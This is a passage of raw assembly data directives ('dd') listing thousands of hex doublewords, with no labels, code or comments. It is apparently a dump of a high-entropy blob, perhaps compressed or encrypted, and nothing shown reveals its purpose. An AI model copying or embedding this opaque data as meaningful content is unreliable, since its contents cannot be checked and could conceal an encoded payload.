62A54052h, 0E9250123h dd 99544F8h, 53BA5C94h, 249FF700h, 6ABD3307h, 1C080D03h dd 47241404h, 90241DAh, 1203E9C2h, 0DCDFF169h, 48806E60h dd 7A73002Dh, 0E0D134DCh, 0D0ECC605h, 4BA39A59h, 0F6C3C791h dd 505CAC40h, 8F680455h, 0BB788736h, 5E818FC0h, 21A98ECh dd 0B73773F2h, 25C12974h, 2D167E08h, 794CDDBBh, 0EF0EC441h dd 4B60FECDh, 6B300015h, 0E5814D6Eh, 965A3621h, 46780180h dd 576A59E3h, 4BBB5710h dd 1FE31FEh, 7677ADDFh, 3D0927C7h, 0E3BD60FFh, 0FE7B121Ah dd 1F02EF7Ch, 0D2367530h, 7AC302DBh, 2DFD584Fh, 94DDC55h dd 7A58A7E9h, 9026A89Dh, 0EB935A1Dh, 52C42CBEh, 0F5FEDEFAh dd 0E34F5AB0h, 0ADBAAB84h, 96848460h, 0FE15ACDh, 0EA694925h dd 48CEA792h, 25ED209Bh, 0F41A8368h, 7AE90255h, 0F260751Eh dd 0CB2DFC66h, 0F8A50C2h, 5B0BBC35h, 0A81AFFD3h, 0E94AFD2Eh dd 5F09B670h, 4621CB68h, 0EFEE0CE7h, 6835C74Fh, 7B760F26h dd 4434D789h, 67E380C7h, 0EFA49686h, 9475FE64h, 0BA5784D2h dd 9353F3CFh, 0F95BA882h, 8E6C740h, 8CCE813Dh, 0DE134119h dd 4E5C0C02h, 68BC31A7h, 9B082C2Fh, 0D530C7F3h, 9F45521Bh dd 0CA24C53h, 29EE0C5Bh, 9BF32BCFh, 56856C0h, 7613DA1Dh dd 0B8C1B7E9h, 93F1EB0h, 44F0282Fh, 75912C31h, 22A7EE9h dd 42B86801h, 0FD8851A3h, 7D61EA92h, 0F355C2E8h, 0ABE9E19Ah dd 0C465352Eh, 0E388431h, 10BEFBFh, 0A05AE9EFh, 0DF8CB32Eh dd 42D72AD6h, 0C6D16562h, 0EA3EFFBEh, 56295149h, 7B9F62BBh dd 0B1804204h, 7CAE8661h, 0FAF127CCh, 22C290CEh, 0F5151AC0h dd 0E481840h, 29E2B50Bh, 8CC3C5C3h, 68390D85h, 4562CF7Fh dd 255A4A82h, 0EDF48904h, 5AFC2858h, 1F8D188h, 680EBB20h dd 0F128628Eh, 0C68F745Eh, 9FEBBD0Bh, 5A4E064Ch, 0A9E91916h dd 3FBEFFD2h, 0C25EBCBCh, 7F430C7Ah, 0E65CE988h, 0FC5024C9h dd 7D0B8088h, 55802D8h, 0C58906A0h, 2B65EDA1h, 0DF502CFFh dd 0C23FB341h, 0AF752DA6h, 0FA939CCDh, 0E92E88B1h, 0D204E435h dd 310B5B13h, 5F4A0E5Ah, 0D31024A6h, 2B642D71h, 5F665F1h dd 0A7B06FE9h, 432502F6h, 0C0749D0Ch, 95732E92h, 0F9F65E10h dd 4218DEB7h, 20347E3Dh, 68EE47E2h, 750E9A0Fh, 98667D3Eh dd 1C8DAC9Dh, 0C12A22DFh, 387E71D6h, 0D009CBCBh, 8D294FC8h dd 52CA348Ch, 0EE285D64h, 0C57B62D7h, 0B0688444h, 0E21DD803h dd 7A0A0707h, 2181F681h, 802A273Eh, 34208973h, 14EC695Bh dd 994E147Bh, 0BE2091B7h, 0B520D890h, 0BB5C5E54h, 0C3459564h dd 4AB464E9h, 450A0FEBh, 1A69500Fh, 5993ED7Eh, 0AFAB17AFh dd 65446A75h, 0CFAFCD8Bh, 51641FD4h, 645AABA4h, 0BB9FE6Dh dd 97B0B5Ah, 92AD284h, 9537D858h, 84D0155Eh, 435582E0h dd 7061C2ACh, 0D55E5E4Ah, 73E7F842h, 184DC65Ch, 802011B3h dd 30E478C3h, 0E59B1B29h, 86270A9Bh, 275DDC5Ah, 4D58397Eh dd 0E5BE80D9h, 983E4A26h, 0EE1F7B09h, 3187620Bh, 1CFDA59Fh dd 22490D1h, 6E314E24h, 85A027E9h, 1B5860BBh, 24AF3E5Eh dd 0D4E3AFB7h, 0F846E984h, 35AB4E19h, 13E9ED4Ch, 88BD1AD1h dd 0D1DF5AA2h, 0EA018AC9h, 5AC218EAh, 7D834813h, 0C60800A8h dd 72522533h, 35005885h, 13651E5Ah, 2DF4212Dh, 8D089493h dd 22A600EBh, 2FE9280Fh, 8A8A6E5Bh, 0EE7A247Ch, 0EF680B35h dd 0B45A9ECBh, 8E42C7A1h, 3BED76DEh, 0BF336893h, 0F5462A46h dd 0F9BF0138h, 3158891Ah, 0E2EF31C7h, 5D1C3302h, 405A0F5Ch dd 0C6F39407h, 53512E77h, 0A1CB732Ah, 0CD206C9Ah, 0FE6BBD22h dd 0F2564CA2h, 238C3D61h, 7A8D3A8Bh, 44CF5E74h, 5FC7701h dd 70FFBEE2h, 4FE92E3Bh, 52B48089h, 5866E528h, 0E872C1B8h dd 3F13CEC6h, 0ECF20947h, 0A2A9D4E0h, 0E97FA1D5h, 23814AE4h dd 0E51772EAh, 300C807Bh, 1620A21h, 0BF5702C2h, 4E735B43h dd 284A961h, 0FAAB8909h, 0C524C096h, 81795F13h, 1802EF7Eh dd 47E91232h, 5A0D7622h, 508D8320h, 681240C2h, 3BA906FAh dd 3A3D4380h, 882FE948h, 4F867950h, 0BE1EB984h, 1F53F244h dd 659672FCh, 64D1019Eh, 30C9B652h, 0BD803B43h, 654513BAh dd 0FF80FB7Ah, 3E3CB4F5h, 0E90B5EBBh, 9BD7E2D2h, 0D49DC9B0h dd 0FCD24C33h, 5BB4A65Ch, 8621FAECh, 10C26EAFh, 695AAAE9h dd 4060AD8Ch, 4103BF2Dh, 8175DB5Bh, 186CE1F7h, 3BCAC0C6h dd 58703D60h, 0ED16F21Ah, 0DA0C8423h, 8FF13D5Ch, 0DE9789FDh dd 193E88A4h, 0B5F6183Dh, 8861B315h, 57813C1Fh, 2C2E78ECh dd 8F75D20h, 500CC91h, 32BA1C34h, 568D092Dh, 96F06F72h dd 0E6951375h, 0B65B0312h, 4DCE80F2h, 0FE2EF698h, 0EEE9C609h dd 0C4EE7C46h, 0AADD94CAh, 0AF53804Bh, 4FBF3298h, 0FE533B8Ah dd 0AF484B72h, 0AC24B2F3h, 0F8BBD784h, 481F4BCh, 167A25E9h dd 4E03BEEEh, 835AD128h, 292CE9CBh, 2A57406Eh, 5521AC61h dd 0A9E6AF8h, 0BD30D727h, 0FE9F5BBCh, 5ABAE06Bh, 2C4CDA30h dd 16D5385Bh, 7F017D86h, 4620E959h, 9DA35530h, 1B086E79h dd 8F482733h, 0BE3E7C2Ah, 58D7A521h, 58549D70h, 69E6E9D8h dd 78541026h, 2E51CA88h, 2A52284h, 311D8BB9h, 2141535Bh dd 890F968Fh, 380B2DBAh, 91EE4B2Ch, 0DCFE8701h, 91C0B6FCh dd 4C75EDEBh, 7021B010h, 245E76B4h, 20F9DF01h, 184D9C08h dd 45BED65Fh, 0F0A25425h, 7B1B9477h, 0A268F9F0h, 329C145Eh dd 2EE34121h, 693A3CD0h, 0F05D6278h, 0D37509C8h, 0EE2812E7h dd 0AA174167h, 0A72CD803h, 0ECB27277h, 42247E02h, 4E681C7Fh dd 5909CB88h, 714C8168h, 0EC79963Ch, 289908FEh, 782C1FF8h dd 3904E81Dh, 9E7F957Ch, 0EACC2AF2h, 2E3277C4h, 818AE2BBh dd 650C84C3h, 0F6AA4314h, 15E96B0h, 81CA0EDh, 14828190h dd 725DE27Dh, 0C0097AEBh, 268ACEFBh, 0D6F62D36h, 0B9CC0D4Bh dd 0FDA1F456h, 0AF5F2A92h, 0B0A7BBCCh, 20C7AC7Fh, 5964E812h dd 0F6009560h, 0F4C180D1h, 501CC9FAh, 0E10FDBB4h, 0ADF16558h dd 0E0E99A03h, 653A5AF0h, 0EBFA0946h, 5425F6DCh, 0D4B9C279h dd 95BAB805h, 3544AB5Bh, 0C4109A89h, 611CC213h, 19F3297h dd 88DC01B5h, 41C6BD5Ah, 0DF02C72Dh, 9B4D1916h, 0F36803F7h dd 0D1147406h, 7732E828h, 4A5A410Bh, 0BBA49D82h, 0A9C3ABA0h dd 2F484270h, 95B13D6h, 9F13EF0h, 6EDF4FA3h, 4A01C4D4h dd 0CA015CEEh, 8059961h, 55DA8EAEh, 61EE2A51h, 96C1CAC7h dd 65ADC775h, 24BA650h, 0E96AEC1Bh, 9855BA6Bh, 256856ABh dd 0EDC0355h, 9AF0E9F0h, 209F98CCh, 5E9FD0D2h, 77F8C2D2h dd 546BD059h, 0BBE92D4Eh, 0C1F24FBh, 2EDF5701h, 93E9D321h dd 55330B7Fh, 319DC6D5h, 0F25C4F29h, 97A90510h, 165AB804h dd 0CCF2BA21h, 77A3A8D3h, 0E368C341h, 4F5E6809h, 0EE734882h dd 22905D0Bh, 9C3F2C58h, 9F76123Fh, 4998F6EEh, 78D26064h dd 0C3225139h, 274CA10Ch, 80E9C1BFh, 29E52069h, 81CF968h dd 14241C34h, 27AB2011h, 8C255E5Fh, 0BF6A0BF8h, 0A52B1F09h dd 720BFF02h, 4AA92040h, 0EED08880h, 90923Ch, 40686EBFh dd 0D833BE54h, 95F9CF26h, 535EB8A0h, 150D22C0h, 34CB260Fh dd 9D730200h, 0C974F889h, 77094D28h, 0D7309844h, 8816AD8h dd 63E73B58h, 1E49AE42h, 70A4E45Ah, 83605F58h, 0EA4D1E61h dd 3086D45Ah, 607CBED5h, 0F6A1C050h, 0DA92B80Bh, 0B22348EEh dd 0E97FE16Ah, 1F82F5A1h, 77BE4AE6h, 0EC89F65Bh, 516B2753h dd 9FE3842Bh, 2A46A5AAh, 0D4CE07ABh, 0C329F40Ch, 2DE85FBCh dd 8C60FDEh, 7D307569h, 0F056ED0h, 38C61F9Bh, 0CF71E917h dd 0E7D8D73Dh, 0DE6A172Eh, 0A9B20129h, 3A28221Ch, 14E99B02h dd 0BDB5C625h, 0B800C5C4h, 474D1D07h, 9AC4F9E9h, 0AB40963h dd 0C18F5AB5h, 40FAD72h, 27450756h, 9065EBC5h, 0EA9691FAh dd 0F7B46E08h, 0E2C25A4Ch, 76502FB5h, 0C4E3C51Ah, 0C944E98Ch dd 60107EA9h, 0FB0519B9h dd 51AC494Ah, 6742D404h, 34980158h, 0D76B0D51h, 0FCE2F12Dh dd 0DC63D4B7h, 0B5027999h, 600D1808h, 82013EC4h, 22B2C7FFh dd 0E6077C5Eh, 807A0FB6h, 0E982D141h, 4FC3499h, 0D30762EFh dd 0BE7C5FFFh, 31417F52h, 0EBA744C0h, 21C61DFDh, 5EB5FCDFh dd 9DE85A61h, 9A95FB83h, 86E1DE39h, 832BAE68h, 3B769020h dd 26B9E688h, 0C605C6D9h, 0C058457Bh, 6BB0CE4Fh, 0E92D2CEEh dd 0FF1C0BD5h, 5F81E46h, 808881B5h, 0E07B46EEh, 34FE6A5h dd 7072D4E8h, 90619563h, 74B460FFh, 20C9469Fh, 4D98AF65h dd 31AA3A22h, 6A75618h, 0D73101CDh, 496524DDh, 0CE38EF3Bh dd 0C7DE6092h, 435138EFh, 0C701621Eh, 68085039h, 1A4F0C27h dd 8B725F1Fh, 0E5C9FB34h, 0DC1947D3h, 2DC65E0Fh, 0BF070C18h dd 6D767FC5h, 3F10CA4h, 0C198302Fh, 17262651h, 0FB20E258h dd 64CF0883h, 0E32AD590h, 0E8DC506Eh, 282F7A98h, 0A0AE590h dd 617BF591h, 9114D259h, 0C75018F5h, 0F9050CDBh, 1AB04828h dd 15232981h, 4AB60580h, 1144BDDh, 4A072DF8h, 47349DEEh dd 11C44B27h, 38541CF0h, 4658B5D4h, 0C309DEBCh, 889CFF20h dd 3B8754Eh, 1CE1FEA5h, 0E163B93Bh, 176B47E9h, 9DAFE7D1h dd 0EAB01152h, 0B05B04Bh, 162502D5h, 0D20052D1h, 0E995AFB4h dd 4B629708h, 0D777E2DDh, 0C1050A91h, 629CD40h, 0F6FC9746h dd 0F0BF0C34h, 0F130E902h, 564D6A62h, 0A973BEh, 0EE811727h dd 64703405h, 0EB670CC0h, 5BE99AA7h, 0AF6F1268h, 5AEB6ED8h dd 0CB18ED26h, 1EB9F329h, 272F5CE9h, 5C209ADFh, 5B974065h dd 0E9124DB8h, 96E2F957h, 0E657C669h, 0E6265FB4h, 17B89308h dd 3FD468A1h, 0C1ABEE35h, 2D454371h, 0B7B95B7Fh, 9F1CD048h dd 0E94E822Ah, 73CC66EFh, 0AC207A1Ch, 1BD9B5BEh, 84B76283h dd 3B38BB00h, 54F40BCBh, 0F38214BAh, 5CC0F753h, 18A4B951h dd 2049380Dh, 99015768h, 0E9CF090Eh, 8D6F2BA6h, 1FBC2B75h dd 0F53DAA5Fh, 6816D23Ch, 82E867EFh, 91983E03h, 0FC4D8CE9h dd 66F40E9Ch, 0FEE38153h, 0DDE551CBh, 10C0B02Bh, 41817C53h dd 0A7132AF3h, 0A4A6B2BAh, 5BF3ECA0h, 0F248EC09h, 6AFB7F5Dh dd 2D13AE68h, 994E17F7h, 2E2C519Eh, 0C2423C19h, 0D4545056h dd 400F1E53h, 0CF813471h, 0BA2E7E0Dh, 0B1D0E2Eh, 8905FB96h dd 7FAC5FF8h, 5C2DAE4Ah, 20A57041h, 0C49262BAh, 288109DBh dd 0D5FD4E02h, 1CAB7F0Bh, 0B0F8CEDAh, 95585282h, 0A4C926FDh dd 1DBA4C41h, 0F70B157Dh, 804876D2h, 0CA686F03h, 0AAD0407Ah dd 29099BF4h, 7443CCE9h, 0F95E968Dh, 5E813E69h, 0AFB38542h dd 4A417D08h, 5F9B283Fh, 72D033F2h, 14B4ABA5h, 0CB7B020Fh dd 9E52E907h, 3A891CCAh, 77C96ED1h, 0F2BC494Eh, 33CAE985h dd 0B3D1CC65h, 0CBBBA844h, 0C7428E25h, 50A7077Fh, 0C82645F2h dd 3D3D8C51h, 1D121ED3h, 0F1D74031h, 697F423Fh, 0C1048ABAh dd 19D7C0EEh, 12DFE580h, 0E05D5FEFh, 8A1C3D5h, 3B1E8059h dd 170E73Ch, 80182D3h, 6E1FD2E9h, 3508D240h, 2FDC4F27h dd 965D319Bh, 0C5CE01A6h, 87751062h, 71CFC9FEh, 1008B4C3h dd 0B802498Bh, 8AC1BD22h, 2125387Dh, 26A3B3F0h, 0BBD513FFh dd 15A74CAh, 964EDEACh, 99E97A51h, 6C4DF901h, 21CD016Ah dd 0F808141Fh, 670D7913h, 0DE3C207Eh, 0ECEAEC04h, 26E64B94h dd 1317E25Bh, 70C2DA52h, 267BDF74h, 729906A4h, 40725C45h dd 0AC05D401h, 28F10928h, 3E1B02Fh, 1AE93E41h, 7FD3B6Ah dd 22F07AC3h, 5DC0FD01h, 270437B0h, 485E92Fh, 5D7647EBh dd 1F5C99C1h, 0AD253710h, 773916F8h, 0A32D83E2h, 0A83DBE0Ah dd 58F750C9h, 5281F4Ch, 1143EB07h, 76D9D85Ah, 0EC7B5E96h dd 0EE11787h, 3330B9D0h, 56070BAAh, 22F7C689h, 0E599C2Dh dd 685350C0h, 9D121EE5h, 0A7EF5B5Dh, 1DE335E1h, 0A413C4C4h dd 6643D18Ch, 0C0452A72h, 5D271C05h, 0E742316Dh, 43BF4BC5h dd 44F5B073h, 36752577h, 0E07F45F8h, 65426880h, 0D26E4F49h dd 79D65CAAh, 1DA7EF50h, 814DE054h, 2503F5C7h, 6F503F35h dd 40274808h, 0C55EE914h, 0D9582709h, 0F4933DAAh, 9937B5BFh dd 127C5715h, 0AFEEF592h, 95FE97E4h, 19D8C50h, 3E5C049h dd 0F518826Fh, 2C9EEF41h, 29AF4A7Bh, 0F55DAF27h, 0EA55D738h dd 0B264DBBDh, 0A0E4916h, 1A0955D8h, 8CE27192h, 876EEB65h dd 7430F27Fh, 0B6521EFAh, 530D9D7Ah, 7E9DF49Ch, 854B5695h dd 0F87A8D68h, 0E314DD1Ah, 0BB005D8h, 0C0BB7CE4h, 18E905D5h dd 97ABD097h, 0D8B46EA3h, 0D729721Fh, 0D61FD5CBh, 1027EAAEh dd 0F4592FB4h, 0A2D52539h, 57387518h, 9FE0DCF4h, 9079165Ch dd 754D090Ch, 388B0E9Bh, 8AA31658h, 66F0F75Eh, 0F260BDAh dd 0E104FA29h, 52E61658h, 70212861h, 71A07EE5h, 9511036Dh dd 5FDBE96Eh, 2D68CF3Ah, 1A3CF97Dh, 0E202CB32h, 815EDE49h dd 437605E0h, 0DA065897h, 6848C29Ch, 0EAD6471Ah, 88263161h dd 0AD84420h, 8BC3095Bh, 0BC844E8h, 1EA5DE5Ah, 0A05E8BC2h dd 0DA08A448h, 0E01A2A25h, 97D33125h, 7C9D8A16h, 0FAE85AEAh dd 50D62F85h, 4AF38BAAh, 68DDCCBBh, 1363C427h, 7F09C1C6h dd 412DBC24h, 5D34E876h, 0C40153BDh, 0B504A251h, 2D04A7ABh dd 4E0FE84Dh, 6766B726h, 89E0A42Dh, 2387D4EAh, 0AA559678h dd 2B4D57DEh, 0D9CD9C4Eh, 70B31740h, 0D3DA7C7Ch, 0E538BA5Dh dd 885C8802h, 0EB3088C0h, 4B2C5966h, 74B8B84Ah, 773246B8h dd 5D32CB9Eh, 0A68E8F71h, 8028CB2Fh, 850C8CCFh, 7A429736h dd 0FFB96875h, 498282FEh, 0C6130E42h, 42024BE3h, 1699E904h dd 3A08520Ah, 7DB28E1h, 38697D4Bh, 13E4C24Ah, 0C11B9377h dd 0D57318CFh, 516C2778h, 40483A90h, 27D9BB0h, 5D12F85Eh dd 970B3FEh, 5CFED6BCh, 75494Eh, 0FF241E4h, 0C372844Bh dd 117A1512h, 85750AEh, 0FA99344Ah, 9F6ED8E0h, 0A4E28F1Bh dd 86F78100h, 0A8482546h, 0C8605B0Eh, 0B13B142Dh, 0C5B2065Dh dd 645E2BF0h, 108B080Ch, 0AEF15BF6h, 36A70144h, 3D608DB2h dd 776CBD55h, 21D4B58h, 0B48898C5h, 0BCE555B2h, 54D40927h dd 94D16B73h, 13685B04h, 0EECD12AAh, 41D5083Ch, 5FE26EB9h dd 4003AD10h, 8997A6E1h, 1F06DBD4h, 0D93E7380h, 17C7CAAFh dd 668AFB5Bh, 2AAEE982h, 0ABFA55h, 69B2F281h, 0D709489Fh dd 8168559Ch, 0E80F5A00h, 5AEDC151h, 0B03AF805h, 74592131h dd 1121B058h, 5FFEE754h, 24930C81h, 94039C9h, 4C4EAAF1h dd 0F7ABA31h, 17622F2Ah, 0E8771EC9h, 27EED2FAh, 9257B85Ah dd 277BF75Fh, 53BAC197h, 0E7C30811h, 5C4FBB09h, 0EB310B1Eh dd 2F0C3486h, 5F95C205h, 83E95B40h, 0D5E60841h, 5149931h dd 0F3AF84EFh, 48B5502Dh, 0F6811B00h, 3D6952ACh, 6BAF2768h dd 31257D46h, 2077EE8Eh, 5B76D898h, 0E053920h, 355C92B8h dd 0C4018D5Eh, 9A17EC35h, 7CB84B4Fh, 0E2037F58h, 0E92E685Eh dd 4710DEAh, 0BB253C44h, 38B2ABA2h, 395121F5h, 0D2C77A76h dd 0BD897F21h, 0D55A82F1h, 22795FB0h, 0F68D6EB7h, 4082AA37h dd 2D190695h, 14751209h, 0EEBD4D8Eh, 221BA5Eh, 5600777Dh dd 58165CBEh, 0B1E5327h, 128E4CC0h, 13AFE781h, 3507210h dd 6C61D498h, 295C28Ch, 0CF8D0D5h, 7D3C18FCh, 0E24320Ch dd 4B257008h, 6F22A7DCh, 1D22DD13h, 1F48D0D9h, 652D17B1h dd 0CB320028h, 0F31E15CAh, 2EEE3D8h, 0E9443F70h, 46F5F0E6h dd 8051F201h, 0D09DDCB9h dd 4C9EA372h, 0CD25C6E7h, 51BDA7D5h, 0C814E762h, 2C4E9905h dd 802B2FDAh, 0F4B4FCCh, 465CE6D1h, 0F47B2DDCh, 9F425AD4h dd 28D61DDh, 7CDD8205h, 20669FF4h, 50593D2Bh, 3892C83Ch dd 35C5C923h, 0C9194B68h, 2DEA23D8h, 0FD4FB2AAh, 0A7F92861h dd 7A97D614h, 9BA31457h, 70C2AFC5h, 0C812A8DEh, 0B55E6B28h dd 10FEFDF2h, 0F1C84CA3h, 0B3F6EFFFh, 22A7224Fh, 8CB95100h dd 414F5E2Ah, 4BE1D12Ch, 0DBFB7312h, 7FE918A1h, 0B685311h dd 55163258h, 3A9B1660h, 485DF72Ch, 0E7A1442Fh, 0E0AEC93Eh dd 9A96196Bh, 323F0D82h, 0B485511h, 5E8229F5h, 840F1756h dd 71DDAF3Fh, 6F74AF2Bh, 0A5CEBCBBh, 9065B746h, 59CA3C53h dd 0FD35B74h, 99EED44h, 1057C272h, 2F94CDFCh, 7660E40Fh dd 42062154h, 0D2FCE96Dh, 2F2F9836h, 0D9237120h, 0AEE4EBC1h dd 4BDF6BADh, 0C04B188Dh, 0C4249079h, 0DA5300D2h, 783745Fh dd 8452D028h, 0FD44AB64h, 38AA0A80h, 650BC149h, 0CA67A923h dd 580803B1h, 38F92D33h, 305D3C09h, 9F104F62h, 0A426A8E7h dd 0EA53E544h, 0F406D249h, 685A00A5h, 0BDDFE979h, 3EC44595h dd 0DC89BF25h, 7502B0DCh, 5D09F26Ah, 9C0226CAh, 665D166Eh dd 838E2794h, 0D9F9B355h, 514BADA5h, 0BBBB6817h, 0E8BA9A34h dd 0BDB8A5F8h, 45FA315Ah, 12A851B0h, 0D2A40736h, 3A800EA0h dd 0D2F389CDh, 1605F704h, 9EC0BC5h, 347869A7h, 53BF6798h dd 0A0371283h, 0A1929125h, 0F11ED798h, 0E0986A76h, 1ECCFEEDh dd 8901F480h, 820D7CDh, 14D131C5h, 0EC8904Ah, 0C47BB957h dd 72FA12C8h, 65FD53C8h, 0AE5B443Ch, 0FEE565B8h, 2E201CA5h dd 0BA04E52Fh, 0AC5F43A8h, 89635E93h, 0B70F405Fh, 5A909D69h dd 97F0C9F6h, 0AA2E48CBh, 99049323h, 0B816FFF1h, 0A30DDFECh dd 162B6D19h, 0DD21FA5Dh, 586B637Ah, 145EC980h, 0F8263A24h dd 0C5588C9h, 557CE905h, 0E4E788A8h, 290E97Bh, 5318B2C2h dd 7EA5548h, 7D0A080Bh, 5CF74316h, 77ADAA84h, 14A7C684h dd 0A2671767h, 0A8200029h, 7C167991h, 5CE13B6Bh, 0E9744505h dd 4F0FA860h, 68E38BF2h, 80532E92h, 2860133Dh, 0D0F80863h dd 3D05717Ch, 1D874E9Dh, 84B7912Dh, 9EA2FE8Fh, 0C3B2EBD2h dd 93D7B2C4h, 61B05258h, 0FC95D328h, 534F00D0h, 0B45030B7h dd 0D4F62100h, 0E9B0EC80h, 2DD3C01Eh, 0B6DB8B92h, 85F5026h dd 0C4E30662h, 0C60F20DEh, 9203AA90h, 294A0C65h, 77A0EADDh dd 0ADE80888h, 0EB1E5567h, 5544A2E2h, 0C2AD9460h, 39C38080h dd 98C82845h, 112887B5h, 2F2D6109h, 3204E7ACh, 0EA855979h dd 0E50ACFEDh, 8D25C7Bh, 1326F8ABh, 60FD350Ch, 0BD14F840h dd 13DFE68Bh, 28A963C2h, 89196B8Dh, 76062AEBh, 5D988EB7h dd 9C58ED06h, 0B3E3018h, 14E6DBE9h, 32681303h, 0C3D48C36h dd 8DFF3031h, 2D00F653h, 0B2DFB9Ah, 97DFD84Dh, 980D857Ch dd 0B96F52CFh, 138F351Ah, 2DB323AEh, 79C0F3ADh, 25DC0834h dd 0D05A7791h, 75D67F42h, 33FD828Bh, 0C489E307h, 0D196D9FDh dd 795052C2h, 4DB381ECh, 0F12A0ADEh, 49D6206Fh, 0F521B216h dd 892DD6E8h, 383EBE11h, 0C24F7F85h, 0E090BCF8h, 387BE4Bh dd 0FED5EDB1h, 33CACC7Ah, 6FBB0086h, 0E939B15Ah, 0AC99DDA7h dd 0D0468E3Eh, 6FF5C077h, 0B012E536h, 244BF4F3h, 0D91A44h dd 30F30F9Eh, 404E1C1h, 0EEAFE949h, 68586F9h, 5120BF2Eh dd 0F602E6C1h, 0D15A5E95h, 548590Eh, 53CBF10Eh, 0FE728DEBh dd 33B20770h, 5274B8EAh, 18643A40h, 0A41FBE2Ah, 5F0747B9h dd 0E9E801A4h, 7F90A9C9h, 6FC11638h, 0E4FD6182h, 2E8B8ED9h dd 67D437CCh, 5BCCFFDAh, 0F1137625h, 0A1596489h, 6DBE2BBAh dd 70FB2ACCh, 0E1F766D8h, 0EE0968E6h, 7E1FE928h, 9C5725C7h dd 8F62998Ah, 2D7866E9h, 53FA2CDh, 0B04FFB8Bh, 925F7482h dd 0AD31DE3Dh, 949815Bh, 5BD10204h, 2FC220AAh, 8A7BD5ECh dd 8607E65Eh, 13DEF380h, 0C0052CAFh, 0E908EC06h, 0F02D760Ch dd 0E728303Ch, 55B66871h, 2ABB2EE1h, 2BCB5E7Ch, 0C8C2800Eh dd 0EAAEFA0Eh, 301561B2h, 0A7B670D0h, 0B560929Ch, 4E82E98Ch dd 226CB4A5h, 20717312h, 5C049EE8h, 0E81D7F50h, 46E05AC5h dd 2A012F34h, 78CB2062h, 2EA05CC6h, 0D40BBB53h, 90662A30h dd 173AEBF3h, 0B0238ED2h, 57B25D2Ch, 2E44E916h, 576A098Dh dd 0B1D2AFB0h, 7DFFEA85h, 92E95CF9h, 0E70CDE64h, 9E243FEFh dd 1209F35Ah, 88BA8FBFh, 0F441B9C8h, 84798E30h, 0A1E00440h dd 16F19488h, 4F6F0470h, 7B1AC940h, 0C24F70BCh, 0E3D89940h dd 36184A5Ch, 40E22910h, 0CB033053h, 0B6525966h, 0C0B3D37Ch dd 0C404EBC0h, 0C7FE0206h, 3DDDAAEEh, 267801BBh, 60B30C2h dd 46D60AE9h, 7AAEBD04h, 0A2EA362Eh, 8FE5108h, 45908308h dd 0B518959Eh, 0A0EE0131h, 1D3FBBBCh, 0AE650B76h, 0C41BA080h dd 0B5479568h, 40F8C241h, 518C0504h, 80FF06D2h, 0D0F704AAh dd 33B88390h, 3720CA98h, 1AF79556h, 0E8C0F5B3h, 7CE32D68h dd 4BABD05Dh, 0F25A10A9h, 0F6E90BB5h, 821AEA50h, 55134367h dd 4DA2C643h, 80CD6275h, 1DDCC728h, 0F26F4BBCh, 9F0800F4h dd 0CD31A3E5h, 0E20E25E9h, 22258994h, 57FB1209h, 64161131h dd 5350AD03h, 3BEDE0B8h, 2EB539AFh, 3542F9CBh, 0F8C35F7Dh dd 409784E4h, 761736B3h, 69CF9A52h, 90888424h, 55D8EE17h dd 55424041h, 0D26E5296h, 0E029C60Bh, 0B50159D4h, 8127B76Ch dd 57C0EAEEh, 0EBA28063h, 0BFA5C6FFh, 27A19EC3h, 2A2BFD09h dd 10684A02h, 0ADBBD149h, 0F03CF9C4h, 0D139AFE9h, 0FFEA9691h dd 23B63DD1h, 9D2A0365h, 7DB12F9Ah, 4CEC6D30h, 38961FE1h dd 98C150D1h, 4A5F0DE5h, 6522EB2Ah, 75D792BCh, 0E9131ABEh dd 0A5B31781h, 8E1E3B13h, 7E6C2D7Fh, 47E961A8h, 0A59D3B9Bh dd 0EA4B3978h, 6489D6CAh, 0ADD40D63h, 0C8532EEDh, 60B92904h dd 0A051CDD8h, 5C746BB5h, 5B2E9326h, 0CA09B9A1h, 490FDAF6h dd 426777C9h, 0FB185527h, 4CBC5BD9h, 7E5336A8h, 5B48E0h dd 0A5047F46h, 0BCBFE8E9h, 83088E3Eh, 5962BB77h, 0E4C8AF14h dd 0D9A06377h, 407F0FBBh, 0E38007DCh, 100F2A4Ah, 8B0CF198h dd 0C54AD77h, 3466175Ch, 52B9086Dh, 0A5E12912h, 581EA86Fh dd 4511048Fh, 41EA5BEBh, 3D26632Eh, 297706Ah, 0B9DF8BFh dd 0DCBF18B8h, 8F560B5Dh, 5DEEF7EDh, 7B674371h, 0C053A7Eh dd 625E2EB9h, 572211C2h, 49F2B346h, 974C34Fh, 85CBBE57h dd 101BE693h, 0AC5B43C3h, 0E82BA99Eh, 0DEFA43Fh, 2A08ACDDh dd 50CEEEE0h, 0B04BF8CAh, 0A3784F81h, 4E39499h, 2FB3544Ah dd 18FBD4EBh, 0BE21C08h, 225F2A25h, 7AA23C2Dh, 405C95D4h dd 0FE250D24h, 5C5F5AC9h, 4B91137Eh, 0A61A5230h, 0EDC70280h dd 2A5F347Ch, 8409DB9h, 4C1D25E9h, 1846C2A0h, 78BD0BA6h dd 7111137Bh, 1081FECCh, 0FE00AF8Ch, 0F81E86CFh, 80C1B753h dd 0DFF6DBE7h, 0D8CDAD71h, 2A792C01h, 96D5F45Eh, 4C8758F9h dd 7160050Eh, 33E05491h, 5CF72681h, 0A215130Eh, 59129673h dd 0A17937FDh, 0E46FA6B7h, 31EB01ADh, 2CF1F527h, 38B98159h dd 6330144Fh, 30F3405Fh, 1C623FE9h, 3CD2444Ah, 1C3880C1h dd 17A4FC4Ah, 96BCB311h, 180F68C0h, 0EAA52E99h, 5C0838Bh dd 204D0E0h, 0D2821A05h, 0C14D415Ch, 0C9D18492h, 9707E0BAh dd 2C39B6B2h, 68137B99h, 84F82B27h, 0AEB9B3C4h, 0E8022687h dd 3D4CF659h, 3E4DEC66h dd 61C2B803h, 0AD2D253Dh, 49C687h, 114550D1h, 0D8210A06h dd 93806AE9h, 2239FF5Eh, 3B9AE16Ah, 5E68CFCCh, 1C19E4D8h dd 0BDB1FD9Dh, 6630244Fh, 0B20503B8h, 30DFB39Bh, 980B14A3h dd 4677FEDEh, 0D3FB801Dh, 0F5F925AFh, 0DF77C057h, 0FFBD7CE9h dd 0A62BAE3Eh, 34158848h, 51034E35h, 21E9E0B5h, 0C1684716h dd 0FEB43EE9h, 0C88628A2h, 0EF05AFCDh, 6B132BD4h, 8B750BAh dd 0F2F65E2Dh, 1688C3h, 40AFEE51h, 0C6016365h, 88DCAF1h dd 72AC3E0Ch, 20F3680Bh, 0B88158F1h, 1CB00E82h, 4C6EE12Bh dd 98D68178h, 1B27E9B2h, 1E976D58h, 90599F2Dh, 